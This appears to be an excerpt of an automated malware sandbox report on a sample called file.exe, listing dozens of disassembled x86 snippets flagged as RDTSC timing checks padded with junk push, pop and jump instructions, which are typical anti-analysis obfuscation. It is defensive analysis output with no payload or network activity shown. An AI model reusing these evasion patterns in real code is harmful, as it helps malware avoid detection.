Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B646B second address: 11B64E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FF3F8BEF698h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 jl 00007FF3F8BEF69Ah 0x00000039 mov bx, C6C1h 0x0000003d mov dword ptr [ebp+122D1F4Ah], edi 0x00000043 mov eax, dword ptr [ebp+122D085Dh] 0x00000049 mov bx, 3C5Fh 0x0000004d push FFFFFFFFh 0x0000004f mov di, dx 0x00000052 push eax 0x00000053 pushad 0x00000054 jc 00007FF3F8BEF69Ch 0x0000005a jbe 00007FF3F8BEF696h 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC948 second address: 11CC94D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC94D second address: 11CC953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CC093 second address: 11CC09D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B857E second address: 11B8583 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BB4CE second address: 11BB4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDA75 second address: 11BDA91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BDA91 second address: 11BDAA3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FF3F8FBCCA8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C103B second address: 11C1041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1041 second address: 11C1058 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF3F8FBCCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FF3F8FBCCA8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1058 second address: 11C105D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C105D second address: 11C1063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1063 second address: 11C10D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 jne 00007FF3F8BEF69Eh 0x0000000e jg 00007FF3F8BEF698h 0x00000014 mov bh, dl 0x00000016 push dword ptr fs:[00000000h] 0x0000001d xor edi, 1EB1EEDFh 0x00000023 mov dword ptr fs:[00000000h], esp 0x0000002a sbb di, 079Ch 0x0000002f mov eax, dword ptr [ebp+122D009Dh] 0x00000035 jnp 00007FF3F8BEF69Bh 0x0000003b push FFFFFFFFh 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007FF3F8BEF698h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 0000001Dh 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 or ebx, dword ptr [ebp+122D1A04h] 0x0000005d mov edi, eax 0x0000005f push eax 0x00000060 push ecx 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D08DC second address: 11D08E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D08E2 second address: 11D08E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D08E6 second address: 11D08EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D09DF second address: 11D09E5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D09E5 second address: 11D09FF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jno 00007FF3F8FBCCA6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FF3F8FBCCA6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D09FF second address: 11D0A05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0A05 second address: 11D0A0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0ACA second address: 11D0ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0ACE second address: 11D0AE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0AE4 second address: 11D0B04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FF3F8BEF696h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF3F8BEF69Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D0B04 second address: 11D0B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D79A7 second address: 11D79AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6764 second address: 11D6768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6768 second address: 11D676E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6CC3 second address: 11D6CCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF3F8FBCCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6CCD second address: 11D6CD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6CD1 second address: 11D6CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF3F8FBCCB3h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6CEC second address: 11D6CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6CF0 second address: 11D6D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c jbe 00007FF3F8FBCCA6h 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6D07 second address: 11D6D0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6E7B second address: 11D6E87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007FF3F8FBCCA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6FE2 second address: 11D6FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D73CB second address: 11D73CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D73CF second address: 11D73D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D73D3 second address: 11D73D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D755E second address: 11D7562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7562 second address: 11D7568 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7568 second address: 11D757C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8BEF69Eh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BB34 second address: 116BB3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AEE1D second address: 11AEE23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF224 second address: 11AF22F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF22F second address: 11AF238 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF4ED second address: 11AF4F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF4F2 second address: 11AF554 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007FF3F8BEF698h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 nop 0x00000027 jl 00007FF3F8BEF6A2h 0x0000002d jmp 00007FF3F8BEF69Ch 0x00000032 push eax 0x00000033 pushad 0x00000034 jmp 00007FF3F8BEF6A6h 0x00000039 push eax 0x0000003a push edx 0x0000003b je 00007FF3F8BEF696h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF554 second address: 11AF558 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF616 second address: 11AF620 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF71F second address: 11AF723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AF723 second address: 11AF729 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AFC7E second address: 11AFC82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0002 second address: 11B0057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a call 00007FF3F8BEF6A7h 0x0000000f clc 0x00000010 pop ecx 0x00000011 lea eax, dword ptr [ebp+1248296Ch] 0x00000017 sub dword ptr [ebp+122D2BC1h], eax 0x0000001d jns 00007FF3F8BEF6A2h 0x00000023 nop 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B0057 second address: 118BBFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FF3F8FBCCACh 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 jl 00007FF3F8FBCCA6h 0x00000017 jp 00007FF3F8FBCCA6h 0x0000001d popad 0x0000001e pop ecx 0x0000001f nop 0x00000020 mov edi, eax 0x00000022 call dword ptr [ebp+12449DC0h] 0x00000028 jnp 00007FF3F8FBCCBCh 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BBFF second address: 118BC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BC08 second address: 118BC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF3CB second address: 11DF3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF53D second address: 11DF55F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF3F8FBCCB1h 0x00000008 jns 00007FF3F8FBCCA6h 0x0000000e jc 00007FF3F8FBCCA6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DF6A8 second address: 11DF6DE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF3F8BEF696h 0x00000008 jmp 00007FF3F8BEF6A5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jg 00007FF3F8BEF696h 0x00000016 jmp 00007FF3F8BEF69Eh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFA21 second address: 11DFA36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c pushad 0x0000000d js 00007FF3F8FBCCA6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFB9C second address: 11DFBB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFBB6 second address: 11DFBBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DFBBC second address: 11DFBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FF3F8BEF696h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E45FF second address: 11E4603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E48E9 second address: 11E48F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 ja 00007FF3F8BEF696h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E48F9 second address: 11E490F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FF3F8FBCCA6h 0x00000009 jmp 00007FF3F8FBCCABh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E490F second address: 11E491A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4A8A second address: 11E4A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF3F8FBCCA6h 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4C23 second address: 11E4C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF3F8BEF696h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4FED second address: 11E5008 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FF3F8FBCCA6h 0x0000000d jmp 00007FF3F8FBCCACh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E5008 second address: 11E500D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E500D second address: 11E505A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF3F8FBCCC9h 0x00000008 push ebx 0x00000009 jmp 00007FF3F8FBCCB8h 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E505A second address: 11E506F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF3F8BEF69Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E546D second address: 11E547C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jnp 00007FF3F8FBCCA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E4356 second address: 11E4371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 pop ebx 0x00000008 js 00007FF3F8BEF6A8h 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 jo 00007FF3F8BEF696h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE51E second address: 11EE522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED292 second address: 11ED2AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3F8BEF6A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED2AE second address: 11ED2CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8FBCCB8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ED996 second address: 11ED9C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3F8BEF6A0h 0x00000009 je 00007FF3F8BEF696h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007FF3F8BEF6A0h 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE27C second address: 11EE286 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE286 second address: 11EE28A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE28A second address: 11EE28E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1268 second address: 11F12C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3F8BEF6A5h 0x00000007 jmp 00007FF3F8BEF6A9h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FF3F8BEF698h 0x00000014 push eax 0x00000015 pop eax 0x00000016 pushad 0x00000017 jmp 00007FF3F8BEF6A9h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4021 second address: 11F4027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F4027 second address: 11F403A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF3F8BEF696h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F403A second address: 11F403E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F403E second address: 11F4044 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F416F second address: 11F4175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F435C second address: 11F436A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF3F8BEF696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA0AB second address: 11FA0B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F9424 second address: 11F9434 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push edx 0x00000008 ja 00007FF3F8BEF69Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
